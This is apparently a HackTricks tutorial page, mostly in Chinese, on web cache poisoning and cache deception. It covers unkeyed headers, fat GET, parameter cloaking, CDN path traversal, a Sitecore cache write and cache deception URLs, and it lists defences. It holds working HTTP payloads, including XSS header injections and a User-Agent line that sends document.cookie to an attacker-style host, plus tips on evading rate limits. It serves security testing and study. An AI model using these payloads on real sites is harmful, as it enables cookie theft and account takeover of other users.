Cache Poisoning and Cache Deception
Reading time: 23 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
区别
What is the difference between web cache poisoning and web cache deception?
- 在 web cache poisoning 中,攻击者促使应用将一些恶意内容存入缓存,这些内容会从缓存中提供给其他应用用户。
- 在 web cache deception 中,攻击者促使应用将属于另一用户的一些敏感内容存入缓存,然后攻击者从缓存中检索这些内容。
Cache Poisoning
Cache poisoning 的目标是操纵客户端缓存,强制客户端加载意外的、部分的或由攻击者控制的资源。影响范围取决于受影响页面的受欢迎程度,因为被污染的响应只会在缓存污染期间提供给访问该页面的用户。
执行 cache poisoning 攻击通常包括以下几个步骤:
- 识别未键控输入:这些是虽然不是缓存请求所必需的参数,但可以改变服务器返回的响应。识别这些输入非常关键,因为它们可以被利用来操纵缓存。
- 滥用未键控输入:在识别出未键控输入后,下一步是研究如何滥用这些参数以修改服务器响应,从而对攻击者有利。
- 确保被污染的响应被缓存:最后一步是确保被篡改的响应被存入缓存。这样,在缓存被污染期间访问受影响页面的任何用户都会收到被污染的响应。
发现:检查 HTTP headers
通常,当响应被存入缓存时,会有一个指示的 header,你可以在这篇文章中查看应该注意哪些 header: HTTP Cache headers.
发现:缓存错误代码
如果你怀疑响应被存入了缓存,你可以尝试发送带有错误 header 的请求,服务器应以状态码 400 响应。然后尝试正常访问该请求,如果响应是 400 状态码,则说明存在漏洞(你甚至可以进行 DoS)。
You can find more options in:
不过,请注意 有时这些类型的状态码不会被缓存,因此该测试可能不可靠。
发现:识别并评估未键控输入
你可以使用 Param Miner 来暴力枚举可能改变页面响应的参数和 headers。例如,某个页面可能使用 header X-Forwarded-For
指示客户端从那里加载脚本:
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
从后端服务器诱发有害响应
在识别出 parameter/header 后,检查它是如何被 sanitised 的,以及它 在哪里 被 reflected 或影响响应。你能否利用它(执行 XSS 或加载你控制的 JS 代码?执行 DoS?...)
让响应被缓存
一旦你 识别 出可以被滥用的 页面、要使用的 parameter/header 以及 如何 滥用它,就需要让该页面被缓存。根据你尝试放入缓存的资源,这可能需要一些时间,你可能需要尝试好几秒钟。
响应中的头部 X-Cache
可能非常有用,当请求没有被缓存时它可能为 miss
,当已被缓存时可能为 hit
。
头部 Cache-Control
也很有趣,可以用来判断资源是否被缓存以及下次资源何时会被再次缓存:Cache-Control: public, max-age=1800
另一个有趣的头部是 Vary
。这个头部常用于 指示额外的头部,这些头部会被视为 cache key 的一部分,即使它们通常不作为键处理。因此,如果攻击者知道目标受害者使用的 User-Agent
,他可以为使用该特定 User-Agent
的用户 poison the cache。
另一个与缓存相关的头是 Age
。它定义了对象在代理缓存中存在的秒数。
在缓存请求时,要 注意你使用的头部,因为其中一些头可能会被意外地作为keyed 使用,而受害者需要使用相同的头部。总是用 不同的浏览器 测试 Cache Poisoning 以确认是否生效。
利用示例
最简单的示例
像 X-Forwarded-For
这样的头部在响应中被未消毒地反射。
你可以发送一个基本的 XSS payload 并 poison the cache,这样所有访问该页面的人都会被 XSS:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
注意:这会对 /en?region=uk
的请求造成投毒,而不是对 /en
Cache poisoning to DoS
Cache poisoning through CDNs
在 this writeup 中解释了以下简单场景:
- CDN 会缓存
/share/
下的任何内容 - CDN 不会解码或归一化
%2F..%2F
,因此可以被用作 path traversal 来访问其他会被缓存的敏感位置,例如https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
- Web 服务器会解码并归一化
%2F..%2F
,并会响应/api/auth/session
,该响应 contains the auth token
Using web cache poisoning to exploit cookie-handling vulnerabilities
Cookies 也可能在页面响应中被反射。如果你能滥用这一点触发 XSS,例如,你就可能在多个加载该恶意缓存响应的客户端上利用 XSS。
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
请注意,如果易受攻击的 cookie 被用户频繁使用,常规请求会清理 cache。
通过分隔符、规范化和点生成差异
查看:
Cache Poisoning via URL discrepancies
Cache poisoning 通过路径遍历窃取 API key
This writeup explains how it was possible to steal an OpenAI API key with an URL like https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
because anything matching /share/*
will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.
这一点在以下文档中也有更详尽的解释:
Cache Poisoning via URL discrepancies
使用多个 headers 来利用 web cache poisoning 漏洞
有时你需要 利用多个未键控输入 才能滥用 cache。举例来说,如果你将 X-Forwarded-Host
设置为你控制的域名,并将 X-Forwarded-Scheme
设置为 http
,你可能会发现一个 Open redirect。如果 server 正在 forwarding 所有 HTTP 请求 to HTTPS 并在重定向时使用头 X-Forwarded-Scheme
作为重定向的域名,你就可以控制页面被重定向到何处。
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
在受限 Vary
header 情况下利用
如果你发现 X-Host
header 被用作 域名用于加载 JS 资源,但响应中的 Vary
header 表示的是 User-Agent
。那么,你需要想办法 exfiltrate 受害者的 User-Agent,并使用该 user agent 来 poison the cache:
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
Fat Get
发送一个 GET 请求,参数同时出现在 URL 和 body 中。如果 web server 使用 body 中的参数,但 cache server 缓存了 URL 中的参数,那么任何访问该 URL 的人实际上将使用 body 中的参数。像 James Kettle 在 Github 网站上发现的 vuln:
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
report=innocent-victim
关于此有一个 portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get
Parameter Cloacking
例如,在 ruby 服务器上可以使用字符 ;
而不是 &
来分隔 参数。这可以用来将无键参数的值置入有键参数中并进行滥用。
Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking
Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
在此了解如何执行 Cache Poisoning attacks by abusing HTTP Request Smuggling。
Automated testing for Web Cache Poisoning
Web Cache Vulnerability Scanner 可用于自动测试 Web Cache Poisoning。它支持许多不同的技术并且高度可定制。
示例用法: wcvs -u example.com
Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
这个真实世界的模式将基于 header 的反射原语与 CDN/WAF 行为链在一起,以可靠地污染缓存的 HTML,供其他用户使用:
- 主 HTML 将不受信任的请求 header(例如
User-Agent
)反射到可执行上下文中。 - CDN 去除了缓存 headers,但存在内部/源端缓存。CDN 还会自动缓存以静态扩展名结尾的请求(例如
.js
),而 WAF 对静态资源的 GET 请求应用了更弱的内容检测。 - 请求流的细节允许对
.js
路径的请求影响随后主 HTML 使用的缓存键/变体,从而通过 header 反射实现跨用户 XSS。
实用步骤(在一个流行的 CDN/WAF 中观察到):
- 从一个干净的 IP(避免之前的基于声誉的降级)出发,通过浏览器或 Burp Proxy 的 Match & Replace 设置一个恶意的
User-Agent
。 - 在 Burp Repeater 中,准备一组两个请求并使用 "Send group in parallel"(single-packet mode 效果最好):
- 第一个请求:对同一 origin 的
.js
资源路径发起 GET,同时发送你恶意的User-Agent
。 - 紧接着:GET 主页面(
/
)。
- CDN/WAF 的路由竞争,加上自动缓存的
.js
,通常会种下被污染的缓存 HTML 变体,然后在满足相同缓存键条件(例如相同的Vary
维度如User-Agent
)的其他访问者中被提供。
示例 header payload(用于 exfiltrate non-HttpOnly cookies):
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
运行建议:
- 许多 CDN 会隐藏缓存头;poisoning 可能仅在数小时的刷新周期上可见。使用多个 vantage IPs 并节流以避免触发 rate-limit 或 reputation triggers。
- 使用来自 CDN 自身云的 IP 有时可以改善路由一致性。
- 如果存在严格的 CSP,只要反射在主 HTML 上下文执行且 CSP 允许内联执行或被上下文绕过,这仍然有效。
影响:
- 如果会话 cookie 不是
HttpOnly
,则可以通过对所有被提供被投毒 HTML 的用户大规模外泄document.cookie
来实现零点击 ATO。
防护措施:
- 停止将请求头反射到 HTML 中;如果不可避免,务必进行严格的上下文编码。使 CDN 和源(origin)的缓存策略对齐,并避免基于不受信任的头进行变化。
- 确保 WAF 对
.js
请求和静态路径一致地应用内容检测。 - 在会话 cookie 上设置
HttpOnly
(以及Secure
、SameSite
)。
Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the Sitecore.Shell.Xaml.WebControl
handler is reached, an xmlcontrol:GlobalHeader
(derived from Sitecore.Web.UI.WebControl
) is available and the following reflective call is allowed:
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
这会在攻击者指定的 cache key 下写入任意 HTML,一旦 cache keys 已知就可以进行精确的 poisoning。
For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):
易受攻击的示例
Apache Traffic Server (CVE-2021-27577)
ATS 转发了 URL 中的 fragment 而未进行剥离,并且只使用 host、path 和 query(忽略 fragment)来生成 cache key。于是请求 /#/../?r=javascript:alert(1)
被转发到后端为 /#/../?r=javascript:alert(1)
,而 cache key 中并不包含 payload,只有 host、path 和 query。
GitHub CP-DoS
在 content-type header 中发送一个错误值会触发一个被缓存的 405 响应。cache key 包含了 cookie,因此只可能攻击未认证的用户。
GitLab + GCP CP-DoS
GitLab 使用 GCP buckets 来存储静态内容。GCP Buckets 支持头 x-http-method-override
。因此可以发送头 x-http-method-override: HEAD
并将缓存投毒为返回空响应体。它也可能支持方法 PURGE
。
Rack Middleware (Ruby on Rails)
在 Ruby on Rails 应用中,经常使用 Rack middleware。该 Rack 代码的目的通常是读取 x-forwarded-scheme
header 的值并将其设置为请求的 scheme。当发送 x-forwarded-scheme: http
时,会发生到相同位置的 301 redirect,可能导致对该资源的 Denial of Service (DoS)。另外,应用可能会识别 X-forwarded-host
header 并将用户重定向到指定的 host。这种行为可能导致从攻击者服务器加载 JavaScript 文件,带来安全风险。
403 与 Storage Buckets
Cloudflare 之前会缓存 403 响应。使用错误的 Authorization headers 访问 S3 或 Azure Storage Blobs 会导致返回 403 响应并被缓存。虽然 Cloudflare 已停止缓存 403 响应,但其他代理服务中可能仍存在此行为。
注入带键的参数
Caches 经常在 cache key 中包含特定的 GET 参数。例如,Fastly 的 Varnish 会在请求中缓存 size
参数。然而,如果同时发送了该参数的 URL 编码版本(例如 siz%65
)并带有错误值,cache key 会使用正确的 size
参数来构造,但后端会处理 URL 编码参数中的值。对第二个 size
参数进行 URL 编码会导致其被缓存系统忽略但被后端使用。将该参数赋值为 0 会导致一个可缓存的 400 Bad Request 错误。
User Agent 规则
一些开发者会阻断 user-agents 与高流量工具(如 FFUF 或 Nuclei)相匹配的请求以管理服务器负载。具有讽刺意味的是,这种做法可能引入 cache poisoning 和 DoS 等漏洞。
非法 Header 字段
RFC7230 指定了 header 名称中可接受的字符。包含超出 tchar 范围字符的 headers 理应触发 400 Bad Request 响应。但实际上服务器并不总是遵守该标准。一个显著的例子是 Akamai,会转发包含无效字符的 headers 并缓存任何 400 错误,只要 cache-control
header 不存在。存在一个可利用的模式:发送带有非法字符(例如 \
)的 header 会导致一个可缓存的 400 Bad Request 错误。
寻找新 header
https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
Cache Deception
Cache Deception 的目标是让客户端加载那些将被缓存保存且包含其敏感信息的资源。
首先注意,诸如 .css
、.js
、.png
等扩展名通常被配置为会被缓存。因此,如果你访问 www.example.com/profile.php/nonexistent.js
,缓存可能会存储该响应,因为它检测到了 .js
扩展。但如果应用在响应中回放存储在 www.example.com/profile.php 的敏感用户内容,就可以从其他用户那里“窃取”这些内容。
其他可测试的项:
- www.example.com/profile.php/.js
- www.example.com/profile.php/.css
- www.example.com/profile.php/test.js
- www.example.com/profile.php/../test.js
- www.example.com/profile.php/%2e%2e/test.js
- Use lesser known extensions such as
.avif
另一个非常清晰的示例可以在此 write-up 中找到: https://hackerone.com/reports/593712.
在该示例中,解释了如果你加载一个不存在的页面,例如 http://www.example.com/home.php/non-existent.css,http://www.example.com/home.php 的内容(包含用户的敏感信息)将被返回,并且缓存服务器会保存该结果。
随后,attacker 可以在自己的浏览器中访问 http://www.example.com/home.php/non-existent.css 并观察到先前访问过该页面的用户的机密信息。
注意,cache proxy 应该是基于文件的扩展名(.css)来配置为缓存文件,而不是基于 content-type。在示例中 http://www.example.com/home.php/non-existent.css 的 content-type 将是 text/html
而不是 text/css
。
在此了解如何利用 Cache Deceptions attacks abusing HTTP Request Smuggling。
自动化工具
- toxicache: Golang scanner 用于在 URL 列表中查找 web cache poisoning vulnerabilities 并测试多种 injection techniques。
参考资料
- https://portswigger.net/web-security/web-cache-poisoning
- https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
- https://hackerone.com/reports/593712
- https://youst.in/posts/cache-poisoning-at-scale/
- https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
- https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/
- How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities
- Burp Proxy Match & Replace
- watchTowr Labs – Sitecore XP cache poisoning → RCE
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。